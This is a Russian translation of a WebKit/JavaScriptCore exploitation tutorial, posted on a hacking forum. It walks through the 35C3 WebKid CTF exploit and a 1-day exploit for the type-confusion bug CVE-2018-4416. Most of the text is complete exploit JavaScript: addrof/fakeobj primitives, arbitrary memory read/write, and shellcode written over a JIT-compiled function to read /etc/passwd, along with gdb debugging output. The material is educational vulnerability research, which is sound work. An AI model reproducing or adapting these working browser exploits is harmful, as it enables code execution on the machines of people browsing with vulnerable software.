console.log(x[1]); // value will be converted 8 bit unsigned integers
// 211

Его можно объединить в 16-байтовый массив. Ниже показано, что Uint8Array хранит данные в собственном виде, потому что 0x0201 == 513:

Код:
a = new Uint8Array([1,2,3,4])
b = new  Uint16Array(a.buffer)
// Uint16Array [513, 1027]

Остальные функции Int64 - это симуляции различных операций. Вы можете вывести их реализации из их имен и комментариев. Читать коды тоже легко.

Написание эксплойта
Подробно о скрипте
Я добавляю некоторые комментарии из оригинальной рецензии Saelo (большинство комментариев все еще являются его работой, большое спасибо!):

Код:
const ITERATIONS = 100000;

// A helper function returns function with native code
function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}
jitCompile(function dummy() { return 42; });

// Return a function with native code, we will palce shellcode in this function later
function makeJITCompiledFunction() {

    // Some code that can be overwritten by the shellcode.
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

function setup_addrof() {
    var o = [1.1, 2.2, 3.3, 4.4];
    o.addrof_property = 42;

    // JIT compiler will install a watchpoint to discard the
    // compiled code if the structure of |o| ever transitions
    // (a heuristic for |o| being modified). As such, there
    // won't be runtime checks in the generated code.
    function helper() {
        return o[0];
    }
    jitCompile(helper);

    // This will take the newly added fast-path, changing the structure
    // of |o| without the JIT code being deoptimized (because the structure
    // of |o| didn't transition, |o| went "back" to an existing structure).
    delete o.addrof_property;

    // Now we are free to modify the structure of |o| any way we like,
    // the JIT compiler won't notice (it's watching a now unrelated structure).
    o[0] = {};

    return function(obj) {
        o[0] = obj;
        return Int64.fromDouble(helper());
    };
}

function setup_fakeobj() {
    var o = [1.1, 2.2, 3.3, 4.4];
    o.fakeobj_property = 42;

    // Same as above, but write instead of reading from the array.
    function helper(addr) {
        o[0] = addr;
    }
    jitCompile(helper, 13.37);

    delete o.fakeobj_property;
    o[0] = {};

    return function(addr) {
        helper(addr.asDouble());
        return o[0];
    };
}

function pwn() {
    var addrof = setup_addrof();
    var fakeobj = setup_fakeobj();

    // verify basic exploit primitives work.
    var addr = addrof({p: 0x1337});
    assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
    print('[+] exploit primitives working');


    // from saelo: spray structures to be able to predict their IDs.
    // from Auxy: I am not sure about why spraying. i change the code to:
    //
    // var structs = []
    // var i = 0;
    // var abc = [13.37];
    // abc.pointer = 1234;
    // abc['prop' + i] = 13.37;
    // structs.push(abc);
    // var victim = structs[0];
    //
    // and the payload still work stablely. It seems this action is redundant
    var structs = []
    for (var i = 0; i < 0x1000; ++i) {
        var array = [13.37];
        array.pointer = 1234;
        array['prop' + i] = 13.37;
        structs.push(array);
    }

    // take an array from somewhere in the middle so it is preceeded by non-null bytes which
    // will later be treated as the butterfly length.
    var victim = structs[0x800];
    print(`[+] victim @ ${addrof(victim)}`);

    // craft a fake object to modify victim
    var flags_double_array = new Int64("0x0108200700001000").asJSValue();
    var container = {
        header: flags_double_array,
        butterfly: victim
    };

    // create object having |victim| as butterfly.
    var containerAddr = addrof(container);
    print(`[+] container @ ${containerAddr}`);
    // add the offset to let compiler recognize fake structure
    var hax = fakeobj(Add(containerAddr, 0x10));
    // origButterfly is now based on the offset of **victim**
    // because it becomes the new butterfly pointer
    // and hax[1] === victim.pointer
    var origButterfly = hax[1];

    var memory = {
        addrof: addrof,
        fakeobj: fakeobj,

        // Write an int64 to the given address.
        writeInt64(addr, int64) {
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = int64.asJSValue();
        },

        // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
        write16(addr, value) {
            // Set butterfly of victim object and dereference.
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = value;
        },

        // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
        write(addr, data) {
            while (data.length % 4 != 0)
                data.push(0);

            var bytes = new Uint8Array(data);
            var ints = new Uint16Array(bytes.buffer);

            for (var i = 0; i < ints.length; i++)
                this.write16(Add(addr, 2 * i), ints[i]);
        },

        // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
        read64(addr) {
            // Set butterfly of victim object and dereference.
            hax[1] = Add(addr, 0x10).asDouble();
            return this.addrof(victim.pointer);
        },

        // Verify that memory read and write primitives work.
        test() {
            var v = {};
            var obj = {p: v};

            var addr = this.addrof(obj);
            assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

            var propertyAddr = Add(addr, 0x10);

            var value = this.read64(propertyAddr);
            assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

            this.write16(propertyAddr, 0x1337);
            assert(obj.p == 0x1337, "write16 does not work");
        },
    };

    // Testing code, not related to exploit
    var plainObj = {};
    var header = memory.read64(addrof(plainObj));
    memory.writeInt64(memory.addrof(container), header);
    memory.test();
    print("[+] limited memory read/write working");

    // get targetd function
    var func = makeJITCompiledFunction();
    var funcAddr = memory.addrof(func);

    // change the JIT code to shellcode
    // offset addjustment is a little bit complicated here :P
    print(`[+] shellcode function object @ ${funcAddr}`);
    var executableAddr = memory.read64(Add(funcAddr, 24));
    print(`[+] executable instance @ ${executableAddr}`);
    var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
    print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
    // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
    // final JIT Code address
    var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
    print(`[+] JITCode @ ${jitCodeAddr}`);

    var s = "A".repeat(64);
    var strAddr = addrof(s);
    var strData = Add(memory.read64(Add(strAddr, 16)), 20);
    shellcode.push(...strData.bytes());

    // write shellcode
    memory.write(jitCodeAddr, shellcode);

    // trigger shellcode
    var res = func();

    var flag = s.split('\n')[0];
    if (typeof(alert) !== 'undefined')
        alert(flag);
    print(flag);
}

if (typeof(window) === 'undefined')
    pwn();

Conclusion on the Exploitation
В заключение, эксплойт использует два наиболее важных примитива атаки - addrof и fakeobj - для утечки и крафта. Функция JITed пропускается и перезаписывается нашим массивом шеллкодов. Затем мы вызвали функцию утечки флага. Почти все браузерные эксплойты следуют этой форме.

Спасибо организаторам 35C3 CTF, особенно Saelo. Изучить путаницу типов WebKit очень сложно.






Отладка WebKit
Теперь мы поняли все теории: архитектура, объектная модель, эксплуатация. Давайте начнем некоторые реальные операции. Для подготовки воспользуйтесь скомпилированным JSC из раздела «Настройка». Просто используйте последнюю версию, так как мы обсуждаем только отладку здесь.

Раньше я пытался установить точки останова, чтобы найти их адреса, но на самом деле это очень глупо. У JSC есть много нестандартных функций, которые могут собирать для нас информацию (большинство из них нельзя использовать в Safari!):

  • print () и debug (): подобно console.log () в node.js, он будет выводить информацию на наш терминал. Однако для печати в Safari для печати документов будет использоваться реальный принтер.
  • description (): Опишите один объект. Мы можем получить адрес, члена класса и связанную информацию через функцию.
  • descriptionArrya (): аналогично description (), но фокусируется на массиве информации объекта.
  • readFile (): открыть файл и получить содержимое
  • noDFG () и noFLT (): отключить некоторые JIT-компиляторы.

Установка точек останова
Самый простой способ установить (breakpoints) - сломать неиспользуемую функцию. Что-то вроде print или Array.prototype.slice ([]) ;. Поскольку мы не знаем, повлияет ли функция на один PoC большую часть времени, этот метод может принести некоторый побочный эффект.

Установка уязвимых функций в качестве наших (breakpoints) также работает. Когда вы попытаетесь понять уязвимость, ее устранение будет чрезвычайно важно. Но их стеки вызова могут не быть приятными.

Мы также можем настроить функцию отладки (используйте int 3) в исходном коде WebKit. Определение, реализация и регистрация нашей функции в /Source/JavaScriptCore/jsc.cpp. Это помогает нам повесить WebKit в отладчиках:

Код:
static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*);
addFunction(vm, "dbg", functionDbg, 0);
static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) {
    asm("int 3");
    return JSValue::encode(jsUndefined());
}

Поскольку третий метод требует от нас изменения исходного кода, я предпочитаю два предыдущих лично.

Inspecting JSC Objects
Хорошо, мы используем этот скрипт:

Код:
arr = [0, 1, 2, 3]
debug(describe(arr))

print()

Используйте наш GDB с Gef для отладки; Вы можете догадаться, что мы сломаем print():

Код:
gdb jsc
gef> b *printInternal
gef> r
--> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

...
// Some backtrace

Адрес объекта и (butterfly pointer ) могут отличаться на вашем компьютере. Если мы отредактируем скрипт, адрес также может измениться. Пожалуйста, настройте их в соответствии с вашими результатами.

У нас будет первый взгляд на объект и его указатель:

Код:
gef>  x/2gx 0x7fffaf4b4350
0x7fffaf4b4350:    0x0108211500000064    0x00007ff8000e0010
gef>  x/4gx 0x00007ff8000e0010
0x7ff8000e0010:    0xffff000000000000    0xffff000000000001
0x7ff8000e0020:    0xffff000000000002    0xffff000000000003

Что, если мы изменим в тип данных на float?

Код:
arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214]
debug(describe(arr))

print()

Здесь мы используем небольшую хитрость: 2261634.5098039214 представляет в памяти 0x4141414141414141. Поиск значения удобнее по номеру (здесь мы прямо используем butterfly pointer). По умолчанию JSC заполнит неиспользуемую память 0x00000000badbeef0:

Код:
gef>  x/10gx 0x00007ff8000e0010
0x7ff8000e0010:    0x3ff0000000000000    0x3ff0000000000000
0x7ff8000e0020:    0x4141414141414141    0x4141414141414141
0x7ff8000e0030:    0x00000000badbeef0    0x00000000badbeef0
0x7ff8000e0040:    0x00000000badbeef0    0x00000000badbeef0
0x7ff8000e0050:    0x00000000badbeef0    0x00000000badbeef0

Схема памяти такая же, как и в объектной модели JSC, поэтому мы не будем здесь повторяться.

Получение нативного кода
Теперь пришло время получить скомпилированную функцию. Она играет важную роль в понимании JSC компилятора и эксплуатации:

Код:
const ITERATIONS = 100000;

function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}
jitCompile(function dummy() { return 42; });
debug("jitCompile Ready")

function makeJITCompiledFunction() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

func = makeJITCompiledFunction()
debug(describe(func))

print()

Нетрудно, если вы внимательно прочитаете предыдущий раздел. Теперь мы должны получить их собственный код в отладчике:

Код:
--> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63
...
// Some backtrace
...
gef>  x/gx 0x7fffaf468120+24
0x7fffaf468138:    0x00007fffaf4fd080
gef>  x/gx 0x00007fffaf4fd080+24
0x7fffaf4fd098:    0x00007fffefe46000
// In debug mode, it's okay to use 368 as offset
// In release mode, however, it should be 352
gef>  x/gx 0x00007fffefe46000+368
0x7fffefe46170:    0x00007fffafe02a00
gef>  hexdump byte 0x00007fffafe02a00
0x00007fffafe02a00     55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f    UH..H.e.H.`.E...
0x00007fffafe02a10     00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af    ..H.E.H.E.I.....
0x00007fffafe02a20     ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d    ....I9.......H.M
0x00007fffafe02a30     30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82    0H.........H9...

Поместите свой дамп байта в rasm2:

Код:
rasm -d "you dump byte here"
push ebp
dec eax
mov ebp, esp
dec eax
lea esp, [ebp - 0x30]
dec eax
mov eax, 0xaf450c60
invalid
jg 0x11
add byte [eax - 0x77], cl
inc ebp
adc byte [eax - 0x73], cl
inc ebp
mov al, 0x49
mov ebx, 0xafc12eb8
invalid
jg 0x23
add byte [ecx + 0x39], cl
add ecx, dword [edi]
xchg dword [eax + eax - 0x74b80000], ebx
dec ebp
xor byte [eax - 0x48], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
dec dword [eax + 0x39]
ror dword [edi], 0x82

Эмммм… код разборки частично неверный. По крайней мере, сейчас мы можем увидеть тестовую версию.



1 Day - Эксплуатация
Давайте воспользуемся этой ошибкой в разделе об ошибке: CVE-2018-4416.

Это type confusion. Поскольку мы уже говорили о WebKid, аналогичной проблеме CTF, в которой есть ошибка путаницы типов, понять ее не составит труда. Переключитесь на уязвимую ветку и начните наше путешествие.

PoC предоставляется в начале статьи. Скопируйте и вставьте int64.js, shellcode.js и utils.js из репозитория WebKit на свою виртуальную машину.

Первопричина
Цитата от Lokihardt
Ниже приведено описание CVE-2018-4416 от Lokihardt с моим частичным выделением.

Когда выполняется цикл for-in, вначале создается объект JSPropertyNameEnumerator, который используется для хранения информации входного объекта в цикле for-in. Внутри цикла идентификатор структуры объекта «this» каждого get_by_idexpression, принимающего переменную цикла в качестве индекса, сравнивается с идентификатором кэшированной структуры из объекта JSPropertyNameEnumerator. Если это то же самое, объект this в выражении get_by_id будет считаться имеющим ту же структуру, что и входной объект в цикле for-in.

Проблема в том, что у него нет ничего, что могло бы помешать структуре, из которой освобождается идентификатор кэшированной структуры. Поскольку структурные идентификаторы могут быть повторно использованы после освобождения их владельцев, это может привести к путанице типов.

Построчное объяснение
Комментарий в / * * / - мой анализ, который может быть неточным. Комментарий после // принадлежит Lokihardt:

Код:
function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(obj) {
    // Starting the optimization.
    for (let i = 0; i < 500; i++) {

    }
    /* Step 3 */
    /* This is abother target */
    /* We want to confuse it(tmp) with obj(fake_object_memory) */
    let tmp = {a: 1};

    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
        /* Step 4 */
        /* Change the structure of tmp to {} */
        tmp.__proto__ = {};

        gc();
        /* The structure of obj is also {} now */
        obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

        /* Step 5 */
        /* Compiler believes obj and tmp share the same type now */
        /* Thus, obj[k] will retrieve data from object with offset a */
        /* In the patched version, it should be undefined */
        return obj[k];  // Type confusion.
    }
}

/* Step 0 */
/* Prepare structure {} */
opt({});

/* Step 1 */
/* Target Array, 0x1234 is our fake address*/
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;

/* Step 2 */
/* Trigger type confusion*/
let fake_object = opt(fake_object_memory);

/* JSC crashed */
print(fake_object);

Отладка
Давайте отладим это, чтобы проверить нашу мысль. Я модифицирую оригинальный PoC для облегчения отладки. Но они почти идентичны, за исключением дополнительного print ():

Код:
function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(obj) {
    // Starting the optimization.
    for (let i = 0; i < 500; i++) {

    }

    let tmp = {a: 1};

    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
        tmp.__proto__ = {};
        gc();
        obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
        debug("Confused Object: " + describe(obj));
        return obj[k];  // Type confusion.
    }
}

opt({});

let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x41424344;
let fake_object = opt(fake_object_memory);
print()
print(fake_object)

Затем gdb ./jsc, b * printInternal и r poc.js. Мы можем получить:

Код:
...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142
--> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

...

Давайте взглянем на наш поддельный адрес. Теперь установим точку наблюдения, чтобы отслеживать ее поток:

Код:
gef>  x/4gx 0x7fffaf6cbe40
0x7fffaf6cbe40:    0x02082a000000008e    0x0000000000000000
0x7fffaf6cbe50:    0x00007fe8014fc000    0x0000000000000064
gef>  x/4gx 0x00007fe8014fc000
0x7fe8014fc000:    0x0000000041424344    0x0000000000000000
0x7fe8014fc010:    0x0000000000000000    0x0000000000000000
gef>  rwatch *0x7fe8014fc000
Hardware read watchpoint 2: *0x7fe8014fc000

Мы получим ожидаемый результат позже:

Код:
Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344
0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133
133        StructureID structureID() const { return m_structureID; }

Но почему это отображается в структуре ID? Мы можем получить ответ из их макета памяти:

Код:
obj (fake_object_memory):
0x7fffaf6cbe40:    0x02082a000000008e    0x0000000000000000
0x7fffaf6cbe50:    0x00007fe8014fc000    0x0000000000000064

tmp ({a: 1}):
0x7fffaf6cbdc0:    0x000016000000008b    0x0000000000000000
0x7fffaf6cbdd0:    0xffff000000000001    0x0000000000000000

Итак, указатель Uin32Array возвращается как объект. И m_structureID находится в начале каждого объекта JS. Так как 0x1234 является первым элементом нашего массива, для StructureID () целесообразно его получить.

Теперь мы можем использовать данные в Uint32Array для создания поддельного объекта. Потрясающие!

Построение примитива для атаки

addrof
Теперь мы должны создать легальный объект. Я выбираю {} (пустой объект) в качестве нашей цели.

Так выглядит пустой объект в памяти (игнорируйте скрипты и отладку здесь):

0x7fe8014fc000: 0x010016000000008a 0x0000000000000000


Хорошо, это начинается с 0x010016000000008a. Мы можем смоделировать это в Uint32Array(не забудьте вставить gc и выбрать здесь):

Код:
function gc() {
... // Same as above's
}

function opt(obj) {
... // Same as above;s
}

opt({});

let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x0000004c;
fake_object_memory[1] = 0x01001600;
let fake_object = opt(fake_object_memory);
fake_object.a = {}

print(fake_object_memory[4])
print(fake_object_memory[5])

Возвращаются два загадочных числа:

Код:
2591768192 # hex: 0x9a7b3e80
32731 # hex: 0x7fdb

Очевидно, это в формате указателя. Мы можем украсть произвольный объект сейчас!

fakeobj
Получение fakeob практически идентично созданию addrof. Разница в том, что вам нужно заполнить адрес UInt32Array, а затем получить объект через атрибут a в fake_object

Произвольное R (чтение) / W (запись) и выполнение Shellcode
Это похоже на скрипт эксплойта в вызове WebKid. Полный сценарий слишком длинный, чтобы объяснять построчно. Вы можете, однако, найти его здесь. Возможно, вам придется попробовать около 10 раз, чтобы он запутился. Он будет читать ваш / etc / passwd при успешном выполнении. Вот основной код:

Код:
// get compiled function
var func = makeJITCompiledFunction();

function gc() {
    for (let i = 0; i < 10; i++) {
        let ab = new ArrayBuffer(1024 * 1024 * 10);
    }
}

// Typr confusion here
function opt(obj) {
    for (let i = 0; i < 500; i++) {

    }

    let tmp = {a: 1};
    gc();
    tmp.__proto__ = {};

    for (let k in tmp) {
        tmp.__proto__ = {};
        gc();
        obj.__proto__ = {};
        // Compiler are misleaded that obj and tmp shared same type
        return obj[k];
    }
}

opt({});

// Use Uint32Array to craft a controable memory
// Craft a fake object header
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x0000004c;
fake_object_memory[1] = 0x01001600;
let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// Use JIT to stablized our attribute
// Attribute a will be used by addrof/fakeobj
// Attrubute b will be used by arbitrary read/write
for (i = 0; i < 0x1000; i ++) {
    fake_object.a = {test : 1};
    fake_object.b = {test : 1};
}

// get addrof
// we pass a pbject to fake_object
// since fake_object is inside fake_object_memory and represneted as integer
// we can use fake_object_memory to retrieve the integer value
function setup_addrof() {
    function p32(num) {
        value = num.toString(16)
        return "0".repeat(8 - value.length) + value
    }
    return function(obj) {
        fake_object.a = obj
        value = ""
        value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4])
        return new Int64(value)
    }
}

// Same
// But we pass integer value first. then retrieve object
function setup_fakeobj() {
     return function(addr) {
        //fake_object_memory[4] = addr[0]
        //fake_object_memory[5] = addr[1]
        value = addr.toString().replace("0x", "")
        fake_object_memory[4] = parseInt(value.slice(8, 16), 16)
        fake_object_memory[5] = parseInt(value.slice(0, 8), 16)
        return fake_object.a
     }
}

addrof = setup_addrof()
fakeobj = setup_fakeobj()
debug("[+] set up addrof/fakeobj")
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
debug('[+] exploit primitives working');

// Use fake_object + 0x40 cradt another fake object for read/write
var container_addr = Add(addrof(fake_object), 0x40)
fake_object_memory[16] = 0x00001000;
fake_object_memory[17] = 0x01082007;

var structs = []
for (var i = 0; i < 0x1000; ++i) {
    var a = [13.37];
    a.pointer = 1234;
    a['prop' + i] = 13.37;
    structs.push(a);
}

// We will use victim as the butterfly pointer of contianer object
victim = structs[0x800]
victim_addr = addrof(victim)
victim_addr_hex = victim_addr.toString().replace("0x", "")
fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16)
fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// Overwrite container to fake_object.b
container_addr_hex = container_addr.toString().replace("0x", "")
fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16)
fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16)
var hax = fake_object.b

var origButterfly = hax[1];

var memory = {
    addrof: addrof,
    fakeobj: fakeobj,

    // Write an int64 to the given address.
    // we change the butterfly of victim to addr + 0x10
    // when victim change the pointer attribute, it will read butterfly - 0x10
    // which equal to addr + 0x10 - 0x10 = addr
    // read arbiutrary value is almost the same
    writeInt64(addr, int64) {
        hax[1] = Add(addr, 0x10).asDouble();
        victim.pointer = int64.asJSValue();
    },

    // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
    write16(addr, value) {
        // Set butterfly of victim object and dereference.
        hax[1] = Add(addr, 0x10).asDouble();
        victim.pointer = value;
    },

    // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
    write(addr, data) {
        while (data.length % 4 != 0)
            data.push(0);

        var bytes = new Uint8Array(data);
        var ints = new Uint16Array(bytes.buffer);

        for (var i = 0; i < ints.length; i++)
            this.write16(Add(addr, 2 * i), ints[i]);
    },

    // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
    read64(addr) {
        // Set butterfly of victim object and dereference.
        hax[1] = Add(addr, 0x10).asDouble();
        return this.addrof(victim.pointer);
    },

    // Verify that memory read and write primitives work.
    test() {
        var v = {};
        var obj = {p: v};

        var addr = this.addrof(obj);
        assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

        var propertyAddr = Add(addr, 0x10);

        var value = this.read64(propertyAddr);
        assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

        this.write16(propertyAddr, 0x1337);
        assert(obj.p == 0x1337, "write16 does not work");
    },
};

memory.test();
debug("[+] limited memory read/write working");

// Get JIT code address
debug(describe(func))
var funcAddr = memory.addrof(func);
debug(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
debug(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug(`[+] JITCode instance @ ${jitCodeObjAddr}`);
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug(`[+] JITCode @ ${jitCodeAddr}`);

// Our shellcode
var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// write shellcode
shellcode.push(...strData.bytes());
memory.write(jitCodeAddr, shellcode);

// trigger and get /etc/passwd
func();
print()

Заключение
Мы продемонстрировали эксплуатацию самой сложной части браузера - движка JavaScript. Тем не менее, браузер огромен. Есть много других сбособов атаки, таких как DOM и WASM. Некоторые исследователи также находят ошибки в базе данных SQL, используемой браузерами, которые могут быть превращены в RCE. Будьте терпеливы и будьте творческими.


Дополнительные материалы

Перевод: NokZKH
Оригинал: https://www.auxy.xyz/tutorial/2018/12/05/Webkit-Exp-Tutorial.html
xss.pro (c)
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх